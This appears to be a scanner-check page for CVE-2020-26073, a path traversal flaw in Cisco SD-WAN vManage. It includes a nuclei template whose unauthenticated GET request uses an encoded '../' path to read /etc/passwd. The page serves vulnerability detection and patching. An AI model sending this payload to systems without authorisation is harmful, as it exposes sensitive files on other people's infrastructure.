Cisco SD-WAN vManage Software - Local File Inclusion

highseverity

12.6%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Cisco SD-WAN vManage Software in the application data endpoints is vulnerable to local file inclusion which could allow an unauthenticated, remote attacker to gain access to sensitive information.

Impact

An attacker can exploit this vulnerability to read sensitive files on the affected system.

Fix

Apply the latest security patches provided by Cisco to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd
Positive when: status 200 AND matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2020-26073 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-26073

info:
  name: Cisco SD-WAN vManage Software - Local File Inclusion
  author: madrobot
  severity: high
  description: |
    Cisco SD-WAN vManage Software in the application data endpoints is vulnerable to local file inclusion which could allow an unauthenticated, remote attacker to gain access to sensitive information.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the affected system.
  remediation: |
    Apply the latest security patches provided by Cisco to fix the vulnerability.
  reference:
    - https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-vman-traversal-hQh24tmk.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26073
  classification:
    cve-id: CVE-2020-26073
    epss-score: 0.12583
    epss-percentile: 0.96271
  metadata:
    max-request: 1
  tags: cve,cve2020,cisco,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from